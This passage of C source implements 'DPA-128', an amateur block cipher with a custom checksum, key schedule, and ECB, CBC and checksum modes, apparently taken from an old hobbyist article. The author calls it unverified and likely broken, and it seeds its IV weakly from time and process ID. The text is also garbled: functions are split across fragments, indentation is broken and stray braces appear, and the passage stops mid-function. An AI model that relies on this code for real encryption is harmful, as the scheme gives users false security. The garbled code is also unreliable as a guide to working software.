    if (argc < 2)
        return (EX_USAGE);

    /* Initialize the segments counters */
    for (cnt = 0; cnt < 2; ++cnt)
        for (i = 0; i < 32; ++i)
            STATS[cnt][i] = 0;

    /* Open and map the file in memory */
    fd = open(argv[1], O_RDONLY);
    if (fd < 0)
        return (EX_SOFTWARE);
    fstat(fd, &sb);
    map = mmap(NULL, sb.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
    if (map == (void *)MAP_FAILED)
        return (EX_SOFTWARE);

    last = -1;
    biggest = 0;
    size = sb.st_size;

    while (size--)
    {
        for (i = 7, cnt = 0; i >= 0; --i, ++cnt)
        {
            if ((*map >> i) & 0x1)
            {
                if (last == 0)
                {
                    if (cnt > biggest)
                        biggest = cnt;
                    if (cnt >= 32)
                        errx(EX_SOFTWARE, "This cannot be an entropy source ;)");
                    STATS[last][cnt] += 1;
                    cnt = 0;
                }
            }
        }
    }
}

```

```

        last = 1;
    }
    else
    {
        if (last == 1)
        {
            if (cnt > biggest)
                biggest = cnt;
            if (cnt >= 32)
                errx(EX_SOFTWARE, "This cannot be an entropy source ;)");
            STATS[last][cnt] += 1;
            cnt = 0;
        }
        last = 0;
    }
}
++map;
}
munmap(map, sb.st_size);

printf("0's segments:\n");
for (i = 1; i < biggest; i++)
    printf("\t%d => %d\n", i, STATS[0][i]);

printf("\n1's segments:\n");
for (i = 1; i < biggest; i++)
    printf("\t%d => %d\n", i, STATS[1][i]);

return (EX_OK);
}
8<- - - - 8<- - - - - 8<- - - - - 8<- - - - - 8<- - - - - 8<- - - - -

```

Again, the source code that follows is a work in progress, and some parts deserve a cleaner rewrite. data.c is truly ugly ;)

It was tested on Linux & BSD/i386, SunOS/sparc and OSF1/alpha, if it does not run on your unix box, porting it should be trivial.

```

8<- - - - 8<- - - - - 8<- - - - - 8<- - - - - 8<- - - - - 8<- - - - -
# Makefile
NAME      =      dpa
SRCS      =      main.c\
                  bitshift.c\
                  bytechain.c\
                  blockchain.c\
                  E.c\
                  D.c\
                  S_E.c\
                  S_D.c\
                  iv.c\
                  ecb.c\
                  cbc.c\
                  checksum128.c\
                  hash32.c\
                  key.c\
                  data.c\
                  sum.c\
                  usage.c

OBJS      =      $(SRCS:.c=.o)

CFLAGS    =

LDFLAGS   =

```

```

$(NAME) :      $(OBJS)
         cc -o $(NAME) $(OBJS) $(LDFLAGS)

clean    :
         rm -f *.o *~

fclean   :      clean
         rm -f $(NAME)

re       :      fclean  $(NAME)

8<- - - - 8<- - - - - 8<- - - - - 8<- - - - - 8<- - - - - 8<- - - - -
/* include/dpa.h */
#ifndef _DPA_H_
#define _DPA_H_

#define DPA_KEY_SIZE      16
#define DPA_BLOCK_SIZE   16

#define DPA_ENCRYPT        0
#define DPA_DECRYPT        1

#define DPA_MODE_ECB      0
#define DPA_MODE_CBC      1

struct s_dpa_sub_key {
    unsigned char key[DPA_KEY_SIZE];
    unsigned char shift;
};
typedef struct s_dpa_sub_key    DPA_SUB_KEY;

struct s_dpa_key {
    struct s_dpa_sub_key  subkey[16];
};
typedef struct s_dpa_key      DPA_KEY;

struct s_dpa_data {
    unsigned char *data;
    unsigned long length;
};
typedef struct s_dpa_data     DPA_DATA;

void      checksum128(unsigned char *, unsigned char *, unsigned int);
unsigned long  hash32(unsigned char *, unsigned int);

unsigned char  dpa_encrypt(unsigned int, unsigned int, unsigned int);
unsigned char  dpa_decrypt(unsigned int, unsigned int, unsigned int);

void  DPA_ecb_encrypt(DPA_KEY *, DPA_DATA *, DPA_DATA *);
void  DPA_ecb_decrypt(DPA_KEY *, DPA_DATA *, DPA_DATA *);

void  DPA_cbc_encrypt(DPA_KEY *, DPA_DATA *, DPA_DATA *);
void  DPA_cbc_decrypt(DPA_KEY *, DPA_DATA *, DPA_DATA *);

void  DPA_sum(DPA_KEY *, DPA_DATA *, DPA_DATA *);

void  DPA_set_key(DPA_KEY *, unsigned char *, unsigned int);
void  DPA_set_keyfile(DPA_KEY *, char *);
void  DPA_set_data(DPA_DATA *, unsigned char *, unsigned int);
void  DPA_set_datafile(DPA_DATA *, char *);

```



```

void    DPA_set_ciphertext(DPA_DATA *, DPA_DATA *, int, int);
void    DPA_write_to_file(DPA_DATA *, char *);
void    DPA_sum_write_to_file(DPA_DATA *, char *);

void    rbytechain(unsigned char *);
void    lbytechain(unsigned char *);

void    rbitshift(unsigned char *, unsigned int);
void    lbitshift(unsigned char *, unsigned int);

void    blockchain(unsigned char *, unsigned char *);

void    IV(unsigned char *);

void    E(unsigned char *, unsigned char *, unsigned int);
void    D(unsigned char *, unsigned char *, unsigned int);
void    S_E(unsigned char *, unsigned char *, unsigned int);
void    S_D(unsigned char *, unsigned char *, unsigned int);

void    usage(void);

#endif

8<- - - - 8<- - - - - 8<- - - - - 8<- - - - - 8<- - - - - 8<- - - - -
/* checksum128.c */
/* NEEDS_FIX */
/*
 * This function creates a 128 bits (16 bytes) checksum out of a variable
 * length input. It has NOT been verified so it is most likely broken and
 * subject to collisions even though I was not able to find any myself.
 *
 * The following constraints need to be respected:
 * - the function has to return a 128 bits value no matter what;
 * - it should be difficult to determine the result by knowing the input;
 * - it should be difficult to determine the input by knowing the result;
 * - it should be difficult to find an input that will produce an identic
 *   result as a known input;
 * - it should be difficult to find two inputs that will produce the same
 *   result;
 * - it should be easy to compute the result of an input;
 *
 * If checksum128() happens to be broken, DPA-128 could be fixed by
 * replacing it with any one-way hash function that produces a 128 bits
 * output (MD5 comes to mind first ;).
 */

#define __NBROUNDS    32
void    checksum128(unsigned char *key, unsigned char *skey, unsigned int size)
{
    unsigned int    cnt;
    unsigned int    length;
    unsigned long    a;
    unsigned long    b;
    unsigned long    c;
    unsigned long    d;
    unsigned char    *save;

    /* Initialization of contexts */
    a = 0xdeadbeef;
    b = 0xadbeefde;
    c = 0xbeefdead;
    d = 0xefdeadbe;

```

```

for (cnt = 0; cnt < __NBROUNDS; ++cnt)
{
    for (length = 0, save = key; length < size; ++save, ++length)
    {
        /* each context is first summed up with the complement of
         * the current ascii character.
         */
        a = (a + ~(*save));
        b = (b + ~(*save));
        c = (c + ~(*save));
        d = (d + ~(*save));

        /* Confusion */
        /*
         * Context A is summed with the product of:
         * - complement of B, C and complement of D;
         *
         * Context B is summed with the product of:
         * - complement of C, D and complement of A;
         *
         * Context C is summed with the product of:
         * - complement of D, A and complement of B;
         *
         * Context D is summed with the product of:
         * - complement of A, B and complement of C;
         *
         * Every context has a repercussion on all others
         * including itself, and multiplication makes it
         * hard to determine the previous values of each
         * contexts after a few rounds.
         */
        a += ~b * c * ~d;
        b += ~c * d * ~a;
        c += ~d * a * ~b;
        d += ~a * b * ~c;
    }

    /* Diffusion */
    /*
     * The bytes of each contexts are shuffled within the
     * same context, the first byte of A becomes the last
     * which becomes the first. the second becomes the
     * third which becomes the second. This permutation
     * is also applied to B, C and D, just before they go
     * through another round.
     */
    a = (((a & 0x000000ff) << 24) +
          ((a & 0x0000ff00) << 8) +
          ((a & 0x00ff0000) >> 8) +
          ((a & 0xff000000) >> 24));
    b = (((b & 0x000000ff) << 24) +
          ((b & 0x0000ff00) << 8) +
          ((b & 0x00ff0000) >> 8) +
          ((b & 0xff000000) >> 24));
    c = (((c & 0x000000ff) << 24) +
          ((c & 0x0000ff00) << 8) +
          ((c & 0x00ff0000) >> 8) +
          ((c & 0xff000000) >> 24));
    d = (((d & 0x000000ff) << 24) +
          ((d & 0x0000ff00) << 8) +
          ((d & 0x00ff0000) >> 8) +
          ((d & 0xff000000) >> 24));
}

```

```

    }

/* Diffusion */
/*
 * The Checksum is constructed by taking respectively
 * the first byte of A, B, C and D, then the second,
 * the third and the fourth.
 */
skey[0] = (a & 0xff000000) >> 24;
skey[1] = (b & 0xff000000) >> 24;
skey[2] = (c & 0xff000000) >> 24;
skey[3] = (d & 0xff000000) >> 24;
skey[4] = (a & 0x00ff0000) >> 16;
skey[5] = (b & 0x00ff0000) >> 16;
skey[6] = (c & 0x00ff0000) >> 16;
skey[7] = (d & 0x00ff0000) >> 16;
skey[8] = (a & 0x0000ff00) >> 8;
skey[9] = (b & 0x0000ff00) >> 8;
skey[10] = (c & 0x0000ff00) >> 8;
skey[11] = (d & 0x0000ff00) >> 8;
skey[12] = (a & 0x000000ff);
skey[13] = (b & 0x000000ff);
skey[14] = (c & 0x000000ff);
skey[15] = (d & 0x000000ff);
}

8<- - - - 8<- - - - - 8<- - - - - 8<- - - - - 8<- - - - - 8<- - - - -
/* hash32.c */
/*
 * This function computes a 32 bits output out a variable length input. It is
 * not important to have a nice distribution and low collisions as it is used
 * on the output of checksum128() (see checksum128.c). There is a requirement
 * though, the function should not consider \0 as a key terminator.
 */
unsigned long hash32(unsigned char *k, unsigned int length)
{
    unsigned long h;

    for (h = 0; *k && length; ++k, --length)
        h = 13 * h + *k;
    return (h);
}

8<- - - - 8<- - - - - 8<- - - - - 8<- - - - - 8<- - - - - 8<- - - - -
/* bytechain.c */
#include "include/dpa.h"

void rbytechain(unsigned char *block)
{
    int i;

    for (i = 0; i < DPA_BLOCK_SIZE; ++i)
        block[i] ^= block[(i + 1) % DPA_BLOCK_SIZE];
    return;
}

void lbytechain(unsigned char *block)
{
    int i;

```

```

    for (i = DPA_BLOCK_SIZE - 1; i >= 0; --i)
        block[i] ^= block[(i + 1) % DPA_BLOCK_SIZE];
    return;
}

8<- - - - 8<- - - - - 8<- - - - - 8<- - - - - 8<- - - - - 8<- - - - -
/* bitshift.c */
#include <string.h>

#include "include/dpa.h"

void    rbitshift(unsigned char *block, unsigned int shift)
{
    unsigned int    i;
    unsigned int    div;
    unsigned int    mod;
    unsigned int    rel;
    unsigned char    mask;
    unsigned char    remainder;
    unsigned char    sblock[DPA_BLOCK_SIZE];

    if (shift)
    {
        mask = 0;
        shift %= 128;
        div = shift / 8;
        mod = shift % 8;
        rel = DPA_BLOCK_SIZE - div;
        for (i = 0; i < mod; ++i)
            mask |= (1 << i);
        for (i = 0; i < DPA_BLOCK_SIZE; ++i)
        {
            remainder =
                ((block[(rel + i - 1) % DPA_BLOCK_SIZE]) & mask) << (8 - mod);
            sblock[i] = ((block[(rel + i) % DPA_BLOCK_SIZE]) >> mod) | remainder;
        }
        memcpy(block, sblock, DPA_BLOCK_SIZE);
    }
}

void    lbitshift(unsigned char *block, unsigned int shift)
{
    int    i;
    unsigned int    div;
    unsigned int    mod;
    unsigned int    rel;
    unsigned char    mask;
    unsigned char    remainder;
    unsigned char    sblock[DPA_BLOCK_SIZE];

    if (shift)
    {
        mask = 0;
        shift %= 128;
        div = shift / 8;
        mod = shift % 8;
        rel = DPA_BLOCK_SIZE + div;
        for (i = 0; i < (8 - mod); ++i)
            mask |= (1 << i);
        mask = ~mask;
        for (i = 0; i < DPA_BLOCK_SIZE; ++i)
        {

```

```

        remainder =
            (block[(rel + i + 1) % DPA_BLOCK_SIZE] & mask) >> (8 - mod);
        sblock[i] =
            ((block[(rel + i) % DPA_BLOCK_SIZE]) << mod) | remainder;
    }
}
memcpy(block, sblock, DPA_BLOCK_SIZE);
}

8<- - - - 8<- - - - - 8<- - - - - 8<- - - - - 8<- - - - - 8<- - - - -
/* S_E.c */
#include "include/dpa.h"

/*
 * The substitution table looks like this:
 *
 * (s+0)%256 (s+1)%256 (s+2)%256 (s+3)%256 (s+4)%256 (s+5)%256 (s+6)%256 ...
 * (s+1)%256 (s+2)%256 (s+3)%256 (s+4)%256 (s+5)%256 (s+6)%256 (s+7)%256 ...
 * (s+2)%256 (s+3)%256 (s+4)%256 (s+5)%256 (s+6)%256 (s+7)%256 (s+8)%256 ...
 * (s+3)%256 (s+4)%256 (s+5)%256 (s+6)%256 (s+7)%256 (s+8)%256 (s+9)%256 ...
 * (s+4)%256 (s+5)%256 (s+6)%256 (s+7)%256 ...
 * (s+5)%256 (s+6)%256 (s+7)%256 (s+8)%256 ...
 * (s+6)%256 (s+7)%256 (s+8)%256 (s+9)%256 ...
 * ...
 */
void S_E(unsigned char *key, unsigned char *block, unsigned int s)
{
    int i;

    for (i = 0; i < DPA_BLOCK_SIZE; ++i)
        block[i] = (key[i] + block[i] + s) % 256;
    return;
}

8<- - - - 8<- - - - - 8<- - - - - 8<- - - - - 8<- - - - - 8<- - - - -
/* S_D.c */
#include "include/dpa.h"

void S_D(unsigned char *key, unsigned char *block, unsigned int s)
{
    int i;

    for (i = 0; i < DPA_BLOCK_SIZE; ++i)
        block[i] = ((256 + block[i]) - key[i] - s) % 256;
    return;
}

8<- - - - 8<- - - - - 8<- - - - - 8<- - - - - 8<- - - - - 8<- - - - -
/* E.c */
#include "include/dpa.h"

/* This is the function that is iterated at each round to encrypt */
void E(unsigned char *key, unsigned char *block, unsigned int shift)
{
    rbytechain(block);
    rbitshift(block, shift);
    S_E(key, block, shift);
}

```

```

8<- - - - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - -
/* D.c */
#include "include/dpa.h"

/* This is the function used to decrypt */
void D(unsigned char *key, unsigned char *block, unsigned int shift)
{
    S_D(key, block, shift);
    lbitshift(block, shift);
    lbytechain(block);
}

8<- - - - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - -
/* blockchain.c */
#include "include/dpa.h"

/* Block chaining for BC modes */
void blockchain(unsigned char *dst, unsigned char *src)
{
    int i;

    for (i = 0; i < DPA_BLOCK_SIZE; ++i)
        dst[i] = dst[i] ^ src[i];
    return;
}

8<- - - - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - -
/* iv.c */
#include <stdlib.h>
#include <time.h>
#include <unistd.h>

#include "include/dpa.h"

/* Initialization vector */
void IV(unsigned char *block)
{
    int i;

    srand(time(NULL) % getpid());
    for (i = 0; i < DPA_BLOCK_SIZE; ++i)
        block[i] = random();
}

8<- - - - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - -
/* key.c */
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/stat.h>

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>

#include "include/dpa.h"

/* This is the function used to precompute the subkeys */
void DPA_set_key(DPA_KEY *k, unsigned char *key, unsigned int len)
{
    /* Compute subkey #0 */

```

```

checksum128(key, k->subkey[0].key, len);

/* Compute subkey #1 -> #15: k.n = H(k.(n-1)%16), where 0 <= n <= 15 */
checksum128(k->subkey[0].key, k->subkey[1].key, DPA_KEY_SIZE);
checksum128(k->subkey[1].key, k->subkey[2].key, DPA_KEY_SIZE);
checksum128(k->subkey[2].key, k->subkey[3].key, DPA_KEY_SIZE);
checksum128(k->subkey[3].key, k->subkey[4].key, DPA_KEY_SIZE);
checksum128(k->subkey[4].key, k->subkey[5].key, DPA_KEY_SIZE);
checksum128(k->subkey[5].key, k->subkey[6].key, DPA_KEY_SIZE);
checksum128(k->subkey[6].key, k->subkey[7].key, DPA_KEY_SIZE);
checksum128(k->subkey[7].key, k->subkey[8].key, DPA_KEY_SIZE);
checksum128(k->subkey[8].key, k->subkey[9].key, DPA_KEY_SIZE);
checksum128(k->subkey[9].key, k->subkey[10].key, DPA_KEY_SIZE);
checksum128(k->subkey[10].key, k->subkey[11].key, DPA_KEY_SIZE);
checksum128(k->subkey[11].key, k->subkey[12].key, DPA_KEY_SIZE);
checksum128(k->subkey[12].key, k->subkey[13].key, DPA_KEY_SIZE);
checksum128(k->subkey[13].key, k->subkey[14].key, DPA_KEY_SIZE);
checksum128(k->subkey[14].key, k->subkey[15].key, DPA_KEY_SIZE);

/* Paranoia: overwrite subkey #0 to prevent a possible bias in H
 * from revealing informations about the initial key.
 */
checksum128(k->subkey[15].key, k->subkey[0].key, DPA_KEY_SIZE);

/* Compute shifts. Shifts are inverted to break a possible relation
 * between shiftings and subkeys. The last subkey is used to compute
 * the first shift, and so on...
 */
k->subkey[0].shift = hash32(k->subkey[15].key, DPA_KEY_SIZE);
k->subkey[1].shift = hash32(k->subkey[14].key, DPA_KEY_SIZE);
k->subkey[2].shift = hash32(k->subkey[13].key, DPA_KEY_SIZE);
k->subkey[3].shift = hash32(k->subkey[12].key, DPA_KEY_SIZE);
k->subkey[4].shift = hash32(k->subkey[11].key, DPA_KEY_SIZE);
k->subkey[5].shift = hash32(k->subkey[10].key, DPA_KEY_SIZE);
k->subkey[6].shift = hash32(k->subkey[9].key, DPA_KEY_SIZE);
k->subkey[7].shift = hash32(k->subkey[8].key, DPA_KEY_SIZE);
k->subkey[8].shift = hash32(k->subkey[7].key, DPA_KEY_SIZE);
k->subkey[9].shift = hash32(k->subkey[6].key, DPA_KEY_SIZE);
k->subkey[10].shift = hash32(k->subkey[5].key, DPA_KEY_SIZE);
k->subkey[11].shift = hash32(k->subkey[4].key, DPA_KEY_SIZE);
k->subkey[12].shift = hash32(k->subkey[3].key, DPA_KEY_SIZE);
k->subkey[13].shift = hash32(k->subkey[2].key, DPA_KEY_SIZE);
k->subkey[14].shift = hash32(k->subkey[1].key, DPA_KEY_SIZE);
k->subkey[15].shift = hash32(k->subkey[0].key, DPA_KEY_SIZE);
}

/* And this one for using a file as a secret key */
void DPA_set_keyfile(DPA_KEY *k, char *filename)
{
    int fd;
    void *key;
    struct stat sb;

    fd = open(filename, O_RDONLY);
    if (fd < 0)
    {
        fprintf(stderr, "failed to open %s as a secret key.\n", filename);
        exit(1);
    }
    fstat(fd, &sb);
    key =
        (unsigned char *)mmap(NULL, sb.st_size, PROT_READ, MAP_PRIVATE, fd, 0);

```

```

    if (key == (void *)MAP_FAILED)
    {
        fprintf(stderr, "mmap() call failure.\n");
        exit(1);
    }
    DPA_set_key(k, key, sb.st_size);
}

8<- - - - 8<- - - - - 8<- - - - - 8<- - - - - 8<- - - - - 8<- - - - -
/* data.c */
/*
 * Warning: ugliest file ;)
 */
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/stat.h>

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#include "include/dpa.h"

void    DPA_set_data(DPA_DATA *d, unsigned char *data, unsigned int len)
{
    d->data = data;
    d->length = len;
}

void    DPA_set_datafile(DPA_DATA *d, char *filename)
{
    int    fd;
    struct stat    sb;

    fd = open(filename, O_RDONLY);
    if (fd < 0)
    {
        fprintf(stderr, "failed to open data file %s.\n", filename);
        exit(1);
    }
    fstat(fd, &sb);
    d->data =
        (unsigned char *)mmap(NULL, sb.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
    if (d->data == (void *)MAP_FAILED)
    {
        fprintf(stderr, "mmap() call failure.\n");
        exit(1);
    }
    d->length = sb.st_size;
}

/* Allocate enough memory to hold the result of encryption/decryption */
void    DPA_set_ciphertext(DPA_DATA *d, DPA_DATA *c, int mode, int action)
{
    int    sz;

    sz = 0;
    if (action == DPA_ENCRYPT)
    {
        if (mode == DPA_MODE_ECB)

```



```

        {
            if ((d->length % DPA_BLOCK_SIZE) == 0)
                sz = d->length + DPA_BLOCK_SIZE;
            else
                sz = d->length + (DPA_BLOCK_SIZE - (d->length % DPA_BLOCK_SIZE)) +
                    DPA_BLOCK_SIZE;
        }
    else if (mode == DPA_MODE_CBC)
    {
        if ((d->length % DPA_BLOCK_SIZE) == 0)
            sz = d->length + (DPA_BLOCK_SIZE * 2);
        else
            sz = d->length + (DPA_BLOCK_SIZE - (d->length % DPA_BLOCK_SIZE)) +
                (DPA_BLOCK_SIZE * 2);
    }
}
else if (action == DPA_DECRYPT)
{
    if (mode == DPA_MODE_ECB)
        sz = d->length - DPA_BLOCK_SIZE;
    else if (mode == DPA_MODE_CBC)
        sz = d->length - (DPA_BLOCK_SIZE * 2);
}
c->data =
(unsigned char *)mmap(NULL, sz,
                      PROT_READ|PROT_WRITE, MAP_ANON|MAP_PRIVATE, -1, 0);
if (c->data == (void *)MAP_FAILED)
{
    fprintf(stderr, "mmap() call failure.\n");
    exit(1);
}
c->length = sz;
}

/* Write the result of encryption/decryption to filename */
void DPA_write_to_file(DPA_DATA *data, char *filename)
{
    int fd;
    int cnt;
    int wasfile;

    wasfile = 0;
    if (!strcmp(filename, "-"))
        fd = 1;
    else
    {
        fd = open(filename, O_RDWR|O_CREAT|O_TRUNC, 0600);
        if (fd < 0)
        {
            fprintf(stderr, "failed to open result file %s.\n", filename);
            exit(1);
        }
        wasfile = 1;
    }

    for (cnt = 0; cnt < data->length;)
        if ((data->length - cnt) < DPA_BLOCK_SIZE)
            cnt += write(fd, data->data + cnt, data->length - cnt);
        else
            cnt += write(fd, data->data + cnt, DPA_BLOCK_SIZE);

    if (wasfile)
        close(fd);
}

```

```

}

/* Write the result of checksum to filename in base 16 */
void DPA_sum_write_to_file(DPA_DATA *data, char *filename)
{
    int    fd;
    int    cnt;
    int    cnt2;
    int    wasfile;
    unsigned char base[] = "0123456789abcdef";
    unsigned char buffer[DPA_BLOCK_SIZE * 2 + 2];

    wasfile = 0;
    if (!strcmp(filename, "-"))
        fd = 1;
    else
    {
        fd = open(filename, O_RDWR|O_CREAT|O_TRUNC, 0600);
        if (fd < 0)
        {
            fprintf(stderr, "failed to open result file %s.\n", filename);
            exit(1);
        }
        wasfile = 1;
    }

    for (cnt = cnt2 = 0; cnt < DPA_BLOCK_SIZE; ++cnt, (cnt2 += 2))
    {
        buffer[cnt2] =
            base[(data->data + data->length - DPA_BLOCK_SIZE + cnt) / 16];
        buffer[cnt2 + 1] =
            base[(data->data + data->length - DPA_BLOCK_SIZE + cnt) % 16];
    }
    buffer[DPA_BLOCK_SIZE * 2] = '\n';
    buffer[DPA_BLOCK_SIZE * 2 + 1] = '\0';

    write(fd, buffer, DPA_BLOCK_SIZE * 2 + 2);

    if (wasfile)
        close(fd);
}

```

```

8<- - - - 8<- - - - - 8<- - - - - 8<- - - - - 8<- - - - - 8<- - - - -

```

```

/* ecb.c */

```

```

/*

```

```

 * Encryption/Decryption in ECB mode.

```

```

 */

```

```

#include <stdio.h>

```

```

#include <string.h>

```

```

#include <unistd.h>

```

```

#include "include/dpa.h"

```

```

/* XXX - for better performances, unroll the loops ;) */

```

```

void DPA_ecb_encrypt(DPA_KEY *key, DPA_DATA *data, DPA_DATA *cipher)
{
    int    j;
    int    cnt;
    unsigned char *cptr;
    unsigned char block[DPA_BLOCK_SIZE];

```

```

cnt = data->length;
cptr = cipher->data;
memset(block, 0, 16);
for (; cnt > 0; data->data += DPA_BLOCK_SIZE, cptr += DPA_BLOCK_SIZE)
{
    if (cnt < DPA_BLOCK_SIZE)
    {
        memcpy(block, data->data, cnt);
        memset(block + cnt, 0, DPA_BLOCK_SIZE - cnt);
    }
    else
        memcpy(block, data->data, DPA_BLOCK_SIZE);
    for (j = 0; j < 16; ++j)
        E(key->subkey[j].key, block, key->subkey[j].shift);
    memcpy(cptr, block, DPA_BLOCK_SIZE);
    cnt -= DPA_BLOCK_SIZE;
}

/* Padding block */
memset(block, 0, DPA_BLOCK_SIZE);
if (data->length % DPA_BLOCK_SIZE)
    block[DPA_BLOCK_SIZE - 1] = DPA_BLOCK_SIZE - data->length % DPA_BLOCK_SIZE;
for (j = 0; j < 16; ++j)
    E(key->subkey[j].key, block, key->subkey[j].shift);
memcpy(cptr, block, DPA_BLOCK_SIZE);
}

void DPA_ecb_decrypt(DPA_KEY *key, DPA_DATA *data, DPA_DATA *cipher)
{
    int j;
    int cnt;
    unsigned char padding;
    unsigned char *cptr;
    unsigned char block[DPA_BLOCK_SIZE];

    /* Data is padded so... we got at least 2 * DPA_BLOCK_SIZE bytes and
     * data->length / DPA_BLOCK_SIZE should be even
     */
    if ((data->length % DPA_BLOCK_SIZE) || data->length < (2 * DPA_BLOCK_SIZE))
        exit(1);

    /* Extract padding information */
    memcpy(block, data->data + data->length - DPA_BLOCK_SIZE, DPA_BLOCK_SIZE);
    for (j = 15; j >= 0; --j)
        D(key->subkey[j].key, block, key->subkey[j].shift);
    padding = block[DPA_BLOCK_SIZE - 1];
    cipher->length -= padding;

    cptr = cipher->data;
    cnt = data->length - DPA_BLOCK_SIZE;
    memset(block, 0, DPA_BLOCK_SIZE);
    for (;
        cnt > 0;
        cnt -= DPA_BLOCK_SIZE, data->data += DPA_BLOCK_SIZE,
        cptr += DPA_BLOCK_SIZE)
    {
        memcpy(block, data->data, DPA_BLOCK_SIZE);
        for (j = 15; j >= 0; --j)
            D(key->subkey[j].key, block, key->subkey[j].shift);
        if (cnt >= DPA_BLOCK_SIZE)
            memcpy(cptr, block, DPA_BLOCK_SIZE);
        else
            memcpy(cptr, block, DPA_BLOCK_SIZE - (padding % DPA_BLOCK_SIZE));
    }
}

```

```

    }
}

8<- - - - 8<- - - - - 8<- - - - - 8<- - - - - 8<- - - - - 8<- - - - -
/* cbc.c */
/*
 * Encryption/Decryption in CBC mode.
 */
#include <stdio.h>
#include <string.h>
#include <unistd.h>

#include "include/dpa.h"

/* XXX - for better performances, unroll the loops ;) */
void DPA_cbc_encrypt(DPA_KEY *key, DPA_DATA *data, DPA_DATA *cipher)
{
    int j;
    int cnt;
    unsigned char *cptr;
    unsigned char block[DPA_BLOCK_SIZE];
    unsigned char iv[DPA_BLOCK_SIZE];
    unsigned char xblock[DPA_BLOCK_SIZE];

    /* IV */
    cptr = cipher->data;
    IV(iv);
    memcpy(xblock, iv, DPA_BLOCK_SIZE);
    for (j = 0; j < 16; ++j)
        E(key->subkey[j].key, iv, key->subkey[j].shift);
    memcpy(cptr, iv, DPA_BLOCK_SIZE);
    cptr += DPA_BLOCK_SIZE;

    cnt = data->length;
    memset(block, 0, 16);
    for (; cnt > 0; data->data += DPA_BLOCK_SIZE, cptr += DPA_BLOCK_SIZE)
    {
        if (cnt < DPA_BLOCK_SIZE)
        {
            memcpy(block, data->data, cnt);
            memset(block + cnt, 0, DPA_BLOCK_SIZE - cnt);
        }
        else
            memcpy(block, data->data, DPA_BLOCK_SIZE);

        blockchain(block, xblock);
        for (j = 0; j < 16; ++j)
            E(key->subkey[j].key, block, key->subkey[j].shift);
        memcpy(xblock, block, DPA_BLOCK_SIZE);
        memcpy(cptr, block, DPA_BLOCK_SIZE);
        cnt -= DPA_BLOCK_SIZE;
    }

    /* Padding */
    memset(block, 0, DPA_BLOCK_SIZE);
    if (data->length % DPA_BLOCK_SIZE)
        block[DPA_BLOCK_SIZE - 1] = DPA_BLOCK_SIZE - data->length % DPA_BLOCK_SIZE;
    blockchain(block, xblock);
    for (j = 0; j < 16; ++j)
        E(key->subkey[j].key, block, key->subkey[j].shift);
    memcpy(cptr, block, DPA_BLOCK_SIZE);
}

```

```

void    DPA_cbc_decrypt(DPA_KEY *key, DPA_DATA *data, DPA_DATA *cipher)
{
    int    j;
    int    cnt;
    unsigned char padding;
    unsigned char *cptr;
    unsigned char block[DPA_BLOCK_SIZE];
    unsigned char xblock[DPA_BLOCK_SIZE];
    unsigned char xblockprev[DPA_BLOCK_SIZE];
    unsigned char *xorptr;

    /*
     * CBC mode uses padding, data->length / DPA_BLOCK_SIZE _MUST_ be even.
     * Also, we got a block for the IV, at least a block for the data and
     * a block for the padding information, this makes the size of cryptogram
     * at least 3 * DPA_BLOCK_SIZE.
     */
    if ((data->length % DPA_BLOCK_SIZE) || data->length < (3 * DPA_BLOCK_SIZE))
        exit(1);

    /* Extract padding information by undoing block chaining on last block */
    memcpy(block, data->data + data->length - DPA_BLOCK_SIZE, DPA_BLOCK_SIZE);
    for (j = 15; j >= 0; --j)
        D(key->subkey[j].key, block, key->subkey[j].shift);
    xorptr = data->data + data->length - (DPA_BLOCK_SIZE * 2);
    blockchain(block, xorptr);
    padding = block[DPA_BLOCK_SIZE - 1];
    cipher->length -= padding;

    /* Extract Initialization vector */
    memcpy(xblock, data->data, DPA_BLOCK_SIZE);
    for (j = 15; j >= 0; --j)
        D(key->subkey[j].key, xblock, key->subkey[j].shift);

    cptr = cipher->data;
    cnt = data->length - (DPA_BLOCK_SIZE * 2);
    memset(block, 0, DPA_BLOCK_SIZE);
    for (data->data += DPA_BLOCK_SIZE;
        cnt >= DPA_BLOCK_SIZE;
        cnt -= DPA_BLOCK_SIZE, data->data += DPA_BLOCK_SIZE,
        cptr += DPA_BLOCK_SIZE)
    {
        memcpy(block, data->data, DPA_BLOCK_SIZE);
        memcpy(xblockprev, block, DPA_BLOCK_SIZE);
        for (j = 15; j >= 0; --j)
            D(key->subkey[j].key, block, key->subkey[j].shift);
        blockchain(block, xblock);
        if (cnt >= DPA_BLOCK_SIZE)
            memcpy(cptr, block, DPA_BLOCK_SIZE);
        else
            memcpy(cptr, block, DPA_BLOCK_SIZE - (padding % DPA_BLOCK_SIZE));
        memcpy(xblock, xblockprev, DPA_BLOCK_SIZE);
    }
}

```

8< - - - 8< - - - - 8< - - - - 8< - - - - 8< - - - - 8< - - - -

/* sum.c */

/* NEEDS_FIX */

/*

* This is basically a CBC encryption with a fixed IV and fixed key, the

```

* last block being the checksum. This needs a rewrite because there is
* no need to allocate memory for the whole ciphertext as only two blocks
* are needed.
*/
#include <stdio.h>
#include <string.h>
#include <unistd.h>

#include "include/dpa.h"

/* XXX - for better performances, unroll the loops ;) */
void DPA_sum(DPA_KEY *key, DPA_DATA *data, DPA_DATA *cipher)
{
    int j;
    int cnt;
    unsigned char *cptr;
    unsigned char block[DPA_BLOCK_SIZE];
    unsigned char iv[DPA_BLOCK_SIZE];
    unsigned char xblock[DPA_BLOCK_SIZE];

    /* Fixed key */
    DPA_set_key(key, (unsigned char *)"deadbeef", 8);

    /* Fixed IV */
    memcpy(iv, "0123456789abcdef", DPA_BLOCK_SIZE);
    memcpy(xblock, iv, DPA_BLOCK_SIZE);

    cptr = cipher->data;
    memcpy(xblock, iv, DPA_BLOCK_SIZE);
    for (j = 0; j < 16; ++j)
        E(key->subkey[j].key, iv, key->subkey[j].shift);
    memcpy(cptr, iv, DPA_BLOCK_SIZE);
    cptr += DPA_BLOCK_SIZE;
